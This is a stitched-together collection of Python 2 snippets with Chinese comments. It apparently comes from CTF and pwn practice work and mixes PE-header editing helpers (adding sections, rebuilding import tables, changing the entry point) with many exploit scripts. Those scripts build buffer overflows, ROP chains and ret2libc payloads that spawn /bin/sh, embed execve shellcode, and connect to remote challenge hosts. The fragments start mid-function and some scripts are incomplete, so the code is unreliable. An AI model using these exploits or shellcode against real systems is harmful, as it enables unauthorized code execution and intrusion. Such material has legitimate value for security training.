def modify_iat_data_directory(in_data, iat_rva, number_of_dll): #dos_header_pointer = 0 nt_header_pointer = l32(in_data[0x3c:0x40]) data_directory_pointer = nt_header_pointer + 0x78 iat_pointer = data_directory_pointer + 8 iat_size = 0x14*(number_of_dll + 1) in_data = in_data[0:iat_pointer]+ l32(iat_rva)+l32(iat_size)+in_data[iat_pointer+8:] return in_data
def build_import_descriptor(original_first_thunk, name, first_thunk): time_date_stamp = 0 #可以忽略 forwarder_chain = 0 #一般为0 import_descriptor = l32(original_first_thunk) + l32(time_date_stamp) + l32(forwarder_chain) import_descriptor += l32(name) + l32(first_thunk) return import_descriptor
def main(): junk = "A" * 62 systemAddr = zio.l32(0xb7eee980 - (0x000d5980 - 0x0003ada0)) exitAddr = "BBBB" payload = junk + systemAddr + exitAddr + zio.l32(0xbffff869 + 6) Io = zio.zio("./c5") Io.write(payload) Io.interact()
def parse_section(data, section_pointer, number_of_section): log('parse section:'+hex(section_pointer)+':'+hex(number_of_section)) section_infos = [] for i in range(number_of_section): rva_size = l32(data[section_pointer+i*0x28+8:section_pointer+i*0x28+0xc]) rva = l32(data[section_pointer+i*0x28+0xc:section_pointer+i*0x28+0x10]) file_size = l32(data[section_pointer+i*0x28+0x10:section_pointer+i*0x28+0x14]) file_offset = l32(data[section_pointer+i*0x28+0x14:section_pointer+i*0x28+0x18]) section_infos.append((rva_size, rva, file_size, file_offset)) return section_infos
def add_a_dll(dll_name, thunk_data_pointer, name_pointer, func_list, data, iat_rva): thunk_data = "" for func in func_list: if not func.startswith('#'): func_name = build_import_by_name(func) thunk_data += l32(iat_rva + name_pointer) (data, name_pointer) = set_iat_name(data, func_name, name_pointer) else: index = int(func.strip('#'), 10) thunk_data += l32(0x80000000+index) thunk_data += l32(0) data = set_iat_data(data, thunk_data_pointer, thunk_data) return (data, name_pointer, thunk_data)
def modify_oep(infile, outfile, oep): f = open(infile, "rb") data = f.read() f.close() nt_header_pointer = l32(data[0x3C:0x40]) address_of_entry_point_pointer = nt_header_pointer + 0x28 data = data[0:address_of_entry_point_pointer] + l32(oep) + data[address_of_entry_point_pointer + 4 :] f = open(outfile, "wb") f.write(data) f.close()
def add_pe_section(infile, outfile, name, virtual_size, virtual_address, size_of_raw_data, pointer_to_raw_data, characteristics): log('add pe section:'+name+':'+hex(virtual_address)+':'+hex(pointer_to_raw_data)) name = name.ljust(8, '\x00') pointer_to_relocation = 0 #在obj文件中使用,重定位的偏移 pointer_to_line_numbers = 0 #在符号表的偏移(供调试用) number_of_relocations = 0 #在obj文件中使用,重定位项的数目 number_of_line_number = 0 #行号表中行号的数目 new_section = name + l32(virtual_size) + l32(virtual_address) + l32(size_of_raw_data) new_section += l32(pointer_to_raw_data) + l32(pointer_to_relocation) + l32(pointer_to_line_numbers) new_section += l16(number_of_relocations) + l16(number_of_line_number) + l32(characteristics) f = open(infile, 'rb') data = f.read() f.close() index = get_new_section_pointer(data) dos_header_pointer = 0 dos_header_e_lfanew_offset = 0x3c nt_header_pointer = l32(data[dos_header_e_lfanew_offset:dos_header_e_lfanew_offset+0x4]) nt_header_file_header_offset = 4 file_header_pointer = nt_header_pointer + nt_header_file_header_offset file_header_number_of_section_offset = 2 number_of_section_pointer = file_header_pointer + file_header_number_of_section_offset size_of_image_pointer = nt_header_pointer + 0x50 if len(data) < pointer_to_raw_data: data = data.ljust(pointer_to_raw_data + size_of_raw_data, '\x61') elif len(data) < pointer_to_raw_data + size_of_raw_data: data = data[0:pointer_to_raw_data].ljust(pointer_to_raw_data + size_of_raw_data, '\x61') else: data = data[0:pointer_to_raw_data] + '\x61'*size_of_raw_data + data[pointer_to_raw_data+size_of_raw_data:] data = data[0:index] + new_section + data[index+len(new_section):] #add number of sections #print hex(number_of_section_pointer) old_number_of_section = l16(data[number_of_section_pointer:number_of_section_pointer+2]) #print hex(old_number_of_section) data = data[0:number_of_section_pointer] + l16(old_number_of_section+1) + data[number_of_section_pointer+2:] #modify sizeofimage new_size_of_image = virtual_address + virtual_size data = data[0:size_of_image_pointer] + l32(new_size_of_image) + data[size_of_image_pointer+4:] f = open(outfile, 'wb') f.write(data) f.close()
def get_new_section_pointer(data): nt_header_pointer = l32(data[0x3c:0x40]) size_of_optional_header_pointer = nt_header_pointer + 0x14 section_pointer = nt_header_pointer+0x18+l16(data[size_of_optional_header_pointer:size_of_optional_header_pointer+2]) number_of_section_pointer = nt_header_pointer + 6 number_of_section = l16(data[number_of_section_pointer:number_of_section_pointer+2]) return section_pointer + 0x28*number_of_section
def generate_section_info_from_data(data): nt_header_pointer = l32(data[0x3c:0x40]) size_of_optional_header_pointer = nt_header_pointer + 0x14 section_pointer = nt_header_pointer+0x18+l16(data[size_of_optional_header_pointer:size_of_optional_header_pointer+2]) number_of_section_pointer = nt_header_pointer + 6 number_of_section = l16(data[number_of_section_pointer:number_of_section_pointer+2]) section_infos = parse_section(data, section_pointer, number_of_section) return section_infos
def build_a_section(name, size, offset, characteristics): log('build_a_section:'+hex(size)+':'+hex(offset)+":"+hex(characteristics)) name = name.ljust(8, '\x00') new_section = name + l32(size) + l32(offset) + l32(size) new_section += l32(offset) + l32(0) + l32(0) new_section += l16(0) + l16(0) + l32(characteristics) return new_section
def __find_dyn_section(self, phdr, elf_base, leak): if self.BITS == 64: phdr_ent = phdr while True: garbage = l32(leak(phdr_ent, 0x4)) # p_type of dynamic segment is 0x2 if garbage == 0x2: break phdr_ent += 0x38 dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section return dyn_section
def __find_func_adr(self, dt_sym_tab, dt_str_tab, func, elf_base, leak): if self.BITS == 64: sym_ent = dt_sym_tab while True: garbage = l32(leak(sym_ent, 0x4)) name = leak(dt_str_tab + garbage, len(func)) if name == func: break sym_ent += 0x18 adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base print '[+] %s loaded address\t:\t0x%x' % (func, adr_func) return adr_func
def normal(): global distance global shellcode global junk Io = zio.zio("./vulnerable") line = Io.readline() # 接受到的数据为 : What's this:0xffe36e40? address_number = int(line[len("What's this:"):-2], 16) # 程序运行之后才可以得到 address = zio.l32(address_number) print "[address] : [%s]" % (hex(address_number)[0:-1]) payload = shellcode + junk + address Io.write(payload) Io.interact()
def brute(address_number): global distance global shellcode global junk Io = zio.zio("./vulnerable") address_real = int(Io.readline()[len("What's this:"):-2], 16) # 程序运行之后才可以得到 print "[Real] : [%s]" % (hex(address_real)[0:-1]) address = zio.l32(address_number) payload = shellcode + junk + address Io.write(payload) Io.interact()
def rebuild_section(data, map_info): def set_data(data, index, value): return data[0:index]+value+data[index+len(value):] nt_header_pointer = l32(data[0x3c:0x40]) size_of_optional_header_pointer = nt_header_pointer + 0x14 section_pointer = nt_header_pointer+0x18+l16(data[size_of_optional_header_pointer:size_of_optional_header_pointer+2]) number_of_section_pointer = nt_header_pointer + 6 data = set_data(data, number_of_section_pointer, l32(len(map_info))) index = 0 for map in map_info: offset = map[0] size = map[1] character = map[2] #log('offset='+hex(offset)+';size='+hex(size)+';character='+hex(character)) name = str(index) section = build_a_section(name, size, offset, character) data = set_data(data, section_pointer+0x28*index, section) index += 1 return data
def generate_conf(dbg, conffile, base, iat_addr, iat_size): log("enter generateconf:"+hex(iat_addr)+':'+hex(iat_size)) f = open(conffile, 'wb') iat_mem = dbg.read_process_memory(base + iat_addr, iat_size) modules = dbg.enumerate_modules() #print_module_info(modules) cur_module = None export_info = {} for i in range(iat_size/4): fun_addr = l32(iat_mem[i*4:i*4+4]) #log('fun_addr:%08x' %fun_addr) if fun_addr == 0: cur_module = None continue if cur_module is None: cur_module = get_module(fun_addr, modules) if cur_module == None: continue export_info = generate_export_info(cur_module[3]) f.write('['+cur_module[0]+']\n') temp_module = get_module(fun_addr, modules) if temp_module == None: cur_module = None if get_module(fun_addr, modules)[1] == cur_module[1]: fun_name = get_fun_name(fun_addr-cur_module[1], export_info) f.write(hex(iat_addr+i*4)+' '+cur_module[0]+'.'+fun_name+'\n') else: cur_module = temp_module export_info = generate_export_info(cur_module[3]) f.write('['+cur_module[0]+']\n') fun_name = get_fun_name(fun_addr-cur_module[1], export_info) f.write(hex(iat_addr+i*4)+' '+cur_module[0]+'.'+fun_name+'\n') f.close()
def fix_pe_section(data): log('fix_pe_section') def set_data(data, index, value): return data[0:index]+value+data[index+len(value):] nt_header_pointer = l32(data[0x3c:0x40]) size_of_optional_header_pointer = nt_header_pointer + 0x14 section_pointer = nt_header_pointer+0x18+l16(data[size_of_optional_header_pointer:size_of_optional_header_pointer+2]) number_of_section_pointer = nt_header_pointer + 6 number_of_section = l16(data[number_of_section_pointer:number_of_section_pointer+2]) for i in range(number_of_section): rva_size = l32(data[section_pointer+i*0x28+8:section_pointer+i*0x28+0xc]) rva = l32(data[section_pointer+i*0x28+0xc:section_pointer+i*0x28+0x10]) file_size = l32(data[section_pointer+i*0x28+0x10:section_pointer+i*0x28+0x14]) file_offset = l32(data[section_pointer+i*0x28+0x14:section_pointer+i*0x28+0x18]) if file_size < rva_size: #.bss ?? to do #print 'fix file_size:'+hex(rva_size) data = set_data(data, section_pointer+i*0x28+0x10, l32(rva_size)) return data
#!/usr/bin/env python # encoding:utf-8 import zio payloadForStep1 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen() payloadForStep1 += "@" * 8 # payloadForStep1 += zio.l32(0x804871e) # Step1() 的地址 payloadForStep1 += zio.l32(0x804867d) # main() 的地址 payloadForStep1 += "\x00" * 4 # Step1 的参数3 payloadForStep1 += "AAAA" # Step1 的参数2 #payloadForStep1 += "\xd5\xc4\xb3\xa2" # Step1 的参数 1 payloadForStep1 += zio.l32(0xA2B3C4D5) # Step1 的参数 1 payloadForStep2 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen() payloadForStep2 += "@" * 8 # payloadForStep2 += zio.l32(0x8048766) # Step2() 的地址 payloadForStep2 += zio.l32(0x804867d) # main() 的地址 payloadForStep2 += zio.l32(0xFF25A7D4) # Step2 的参数 1 payloadForStep2 += "AAAA" # Step2 的参数2 payloadForStep3 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen() payloadForStep3 += "@" * 8 # payloadForStep3 += zio.l32(0x80487A3) # Step3() 的地址 payloadForStep3 += zio.l32(0x804867d) # main() 的地址 payloadForStep3 += zio.l32(0xFFFFFFFF) # Step3 的参数 1 payloadForStep3 += zio.l32(0xC0C0C0C) # Step3 的参数2 payloadForStep3 += zio.l32(0x9A829A82) # Step3 的参数3 Io = zio.zio("./rop_rop_rop")
#!/usr/bin/env python # encoding:utf-8 import zio import binascii address = zio.l32( 0x804a00c) # read() 函数在 got 表中的保存的位置 , 通过 objdump -d | grep "read" 得到 Io = zio.zio("./bingo_86") Io.readline() Io.write(address) result = Io.readline() read_address = int(result.replace("result: ", "")[2:-1], 16) # 根据公式 : # read_address - read_lib_address = function_address - function_libc_address # function_address = read_address - read_libc_address + function_libc_address # libc 中的地址可以通过 : readelf -a libc.so.6_x86 | grep " function_name@" 获得 # sun@sun:~/pwnme/lessons/7hxzz/yao/2$ readelf -a libc.so.6_x86 | grep " read@" # 958: 000d5980 101 FUNC WEAK DEFAULT 13 read@@GLIBC_2.0 # sun@sun:~/pwnme/lessons/7hxzz/yao/2$ readelf -a libc.so.6_x86 | grep " exit@" # 141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0 # sun@sun:~/pwnme/lessons/7hxzz/yao/2$ readelf -a libc.so.6_x86 | grep " system@" # 1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 read_libc_address = 0x000D5980 system_libc_address = 0x0003ADA0 exit_libc_address = 0x0002E9D0
def getAddress(): address = zio.l32(0xbffff630 + 0x30) return address
TARGET = ('119.254.101.197', 10001) LEN_TO_RET = 0x9c PUTS_PLT = 0x08048530 PUTS_GOT = 0x08049de8 RESTART_ADDR = 0x08048590 PUTS_LIBC = 0x00065650 SYSTEM_LIBC = 0x00040190 BINSH_LIBC = 0x00160A24 # TARGET = ('10.211.55.32', 8888) io = zio.zio(TARGET) io.read_until_timeout() payload = 'http://%\x001' payload += NOPS(LEN_TO_RET - 8) payload += zio.l32(PUTS_PLT) + zio.l32(RESTART_ADDR) + zio.l32(PUTS_GOT) io.writeline(payload) io.read_until('Decode Result:') io.readline() puts_addr = zio.l32(io.read(4)) print hex(puts_addr) libc_addr = puts_addr - PUTS_LIBC system_addr = libc_addr + SYSTEM_LIBC binsh_addr = libc_addr + BINSH_LIBC io.read_until_timeout() payload = 'http://%\x001' payload += NOPS(LEN_TO_RET - 8) payload += zio.l32(system_addr) + zio.l32(RESTART_ADDR) + zio.l32(binsh_addr) io.writeline(payload)
LEN_TO_RET = 0x9c PUTS_PLT = 0x08048530 PUTS_GOT = 0x08049de8 RESTART_ADDR = 0x08048590 PUTS_LIBC = 0x00065650 SYSTEM_LIBC = 0x00040190 BINSH_LIBC = 0x00160A24 # TARGET = ('10.211.55.32', 8888) io = zio.zio(TARGET) io.read_until_timeout() payload = 'http://%\x001' payload += NOPS(LEN_TO_RET - 8) payload += zio.l32(PUTS_PLT) + zio.l32(RESTART_ADDR) + zio.l32(PUTS_GOT) io.writeline(payload) io.read_until('Decode Result:') io.readline() puts_addr = zio.l32(io.read(4)) print hex(puts_addr) libc_addr = puts_addr - PUTS_LIBC system_addr = libc_addr + SYSTEM_LIBC binsh_addr = libc_addr + BINSH_LIBC io.read_until_timeout() payload = 'http://%\x001' payload += NOPS(LEN_TO_RET - 8) payload += zio.l32(system_addr) + zio.l32(RESTART_ADDR) + zio.l32(binsh_addr) io.writeline(payload)
#!/usr/bin/env python # encoding:utf-8 import zio payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen() payload += "@" * 8 # payload += zio.l32(0x80485F2) # GetUserInput() 的地址 payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函数的地址 payload += zio.l32(0x804A04C) # GetUserInput() 的参数 (在内存中找一段可写的地址 , 用来存放 /bin/sh 这个字符串) payload += zio.l32(0x804A04C) # system() 函数的参数 , 为 /bin/sh 这个字符串的地址 Io = zio.zio("./rop_rop_rop") Io.writeline(payload) Io.readline() Io.writeline("/bin/sh") Io.interact()
for i in range(size): result += chr(ord("A") + i) * 4 result += "@" * 4 return result[0:length] def cut(payload, mark): temp = zio.l32(mark) return payload.split(temp)[0] def cover(shellcode, payload): return (shellcode + payload)[0:len(payload)] shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34" payload = junk(128) payload = cut(payload, 0x51515050) payload = cover(shellcode, payload) Io = zio.zio("./bingo_86") content = Io.readline() address = zio.l32(int(content.replace("I am at ", "")[2:-1], 16)) print binascii.b2a_hex(address) payload = payload + address Io.write(payload) Io.interact()
def cut(payload, mark): temp = zio.l32(mark) return payload.split(temp)[0]
#!/usr/bin/env python # encoding:utf-8 import zio payload = "A" * 0x88 + "BBBB" payload += zio.l32(0x8048320) # system() 函数的地址 payload += "\x00" * 4 payload += zio.l32(0x804A024) # "/bin/sh" 的地址 # Io = zio.zio("./level2") Io = zio.zio(("pwn2.jarvisoj.com", 9878)) Io.write(payload) Io.interact()
def judge(s): print '====', s[:100], '====' if s.startswith(' .----.'): return 'peanuts' if s.startswith('quu..__'): return 'pikachu' if s.startswith('\n Tb.'): return 'batman' if s.startswith(' .88888888:.'): return 'linux' if s.startswith(' .=.,'): return 'superman' io = zio.zio(TARGET) s = io.read_until_timeout() # io.writeline('A' * LEN_TO_RET + zio.l32(PUTS_PLT) + 'A' * 4 + zio.l32(PUTS_PLT)) io.writeline('A' * LEN_TO_RET + zio.l32(READ_FILE) + 'A' * 4 + zio.l32(STR_ADDR)) io.read_until('Bad luck!\n') for i in xrange(5): s = io.read_until_timeout() io.writeline(judge(s)) io.read_until('Hey you are so smart!\n') # io.writeline('/bin/sh') io.writeline('flag') io.read_until_timeout()
#!/usr/bin/env python # encoding:utf-8 import zio import binascii def junk(length): result = "" size = int(length / 4.0) for i in range(size): result += chr(ord("A") + i) * 4 result += "@" * 4 return result[0:length] def cut(payload, mark): temp = zio.l32(mark) return payload.split(temp)[0] address = zio.l32(0x804849d) payload = junk(128) payload = cut(payload, 0x47474646) payload = payload + address Io = zio.zio("./bingo_86") Io.write(payload) Io.interact()
# TARGET = ('10.211.55.32', 8888) def judge(s): print '====', s[:100], '====' if s.startswith(' .----.'): return 'peanuts' if s.startswith('quu..__'): return 'pikachu' if s.startswith('\n Tb.'): return 'batman' if s.startswith(' .88888888:.'): return 'linux' if s.startswith(' .=.,'): return 'superman' io = zio.zio(TARGET) s = io.read_until_timeout() # io.writeline('A' * LEN_TO_RET + zio.l32(PUTS_PLT) + 'A' * 4 + zio.l32(PUTS_PLT)) io.writeline('A' * LEN_TO_RET + zio.l32(READ_FILE) + 'A' * 4 + zio.l32(STR_ADDR)) io.read_until('Bad luck!\n') for i in xrange(5): s = io.read_until_timeout() io.writeline(judge(s)) io.read_until('Hey you are so smart!\n') # io.writeline('/bin/sh') io.writeline('flag') io.read_until_timeout()
#!/usr/bin/env python # encoding:utf-8 import zio payload = "A" * 0x40 + zio.l32(0x1234) # Io = zio.zio("./stack0") Io = zio.zio("./test") Io.writeline(payload) Io.interact()
#!/usr/bin/env python # encoding:utf-8 import zio Io = zio.zio("./test") # Io = zio.zio(("115.28.79.166", 5555)) Io.read_line() payload = "AAAA" Io.writeline(payload) Io.read_line() payload = "A" * 8 + zio.l32(1926) Io.writeline(payload) Io.interact()
import zio junk = "AAAABBBBCCCCDDDDEEEEFFFFGGGG" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80" Io = zio.zio("./main") address = zio.l32(int(Io.readline().replace("Address : 0x", "")[0:8], 16)) payload = (shellcode + junk)[0:len(junk)] + address Io.interact()